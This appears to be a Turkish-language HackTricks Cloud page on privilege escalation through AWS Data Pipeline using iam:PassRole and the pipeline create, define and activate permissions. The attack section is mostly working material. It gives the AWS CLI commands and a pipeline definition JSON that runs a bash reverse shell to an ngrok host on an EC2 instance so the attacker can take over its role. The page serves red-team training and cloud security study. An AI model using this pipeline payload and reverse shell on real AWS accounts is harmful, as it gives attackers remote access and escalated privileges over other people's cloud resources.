AWS - Datapipeline Privesc
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- Abonelik planlarını kontrol edin!
- Katılın 💬 Discord group veya telegram group veya Twitter’da bizi takip edin 🐦 @hacktricks_live.
- PR göndererek hacking tricks paylaşın: HackTricks ve HackTricks Cloud github repos.
datapipeline
Datapipeline hakkında daha fazla bilgi için bakınız:
AWS - DataPipeline, CodePipeline & CodeCommit Enum
iam:PassRole, datapipeline:CreatePipeline, datapipeline:PutPipelineDefinition, datapipeline:ActivatePipeline
Bu izinlere sahip kullanıcılar, bir Data Pipeline oluşturarak ayrıcalık yükseltebilir ve atanan rolün izinlerini kullanarak keyfi komutlar çalıştırabilirler:
aws datapipeline create-pipeline --name my_pipeline --unique-id unique_string
Pipeline oluşturulduktan sonra, saldırgan tanımı belirli eylemleri veya kaynak oluşturmayı yönlendirecek şekilde günceller:
{
"objects": [
{
"id": "CreateDirectory",
"type": "ShellCommandActivity",
"command": "bash -c 'bash -i >& /dev/tcp/8.tcp.ngrok.io/13605 0>&1'",
"runsOn": { "ref": "instance" }
},
{
"id": "Default",
"scheduleType": "ondemand",
"failureAndRerunMode": "CASCADE",
"name": "Default",
"role": "assumable_datapipeline",
"resourceRole": "assumable_datapipeline"
},
{
"id": "instance",
"name": "instance",
"type": "Ec2Resource",
"actionOnTaskFailure": "terminate",
"actionOnResourceFailure": "retryAll",
"maximumRetries": "1",
"instanceType": "t2.micro",
"securityGroups": ["default"],
"role": "assumable_datapipeline",
"resourceRole": "assumable_ec2_profile_instance"
}
]
}
Note
Unutmayın ki satır 14, 15 ve 27’deki role, assumable by datapipeline.amazonaws.com olmalı; satır 28’deki role ise assumable by ec2.amazonaws.com with a EC2 profile instance olmalıdır.
Ayrıca, EC2 instance yalnızca role assumable by the EC2 instance’a erişebilecektir (yani sadece onu çalabilirsiniz).
aws datapipeline put-pipeline-definition --pipeline-id <pipeline-id> \
--pipeline-definition file:///pipeline/definition.json
The saldırgan tarafından hazırlanmış pipeline tanım dosyası, komut çalıştırma veya AWS API aracılığıyla kaynak oluşturma yönergeleri içerir; Data Pipeline’ın rol izinlerini kullanarak saldırgan potansiyel olarak ek ayrıcalıklar elde edebilir.
Olası Etki: Belirtilen ec2 service role’a doğrudan privesc.
Referanslar
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- Abonelik planlarını kontrol edin!
- Katılın 💬 Discord group veya telegram group veya Twitter’da bizi takip edin 🐦 @hacktricks_live.
- PR göndererek hacking tricks paylaşın: HackTricks ve HackTricks Cloud github repos.
HackTricks Cloud

